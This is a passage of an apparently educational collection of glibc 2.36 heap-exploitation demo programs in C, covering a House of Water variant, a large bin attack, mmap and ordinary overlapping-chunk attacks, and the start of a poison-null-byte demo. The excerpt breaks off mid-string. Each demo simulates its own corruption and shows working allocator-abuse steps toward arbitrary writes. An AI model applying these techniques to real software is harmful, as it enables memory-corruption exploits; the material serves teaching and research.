list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.36/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.36/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.36/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.36/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to 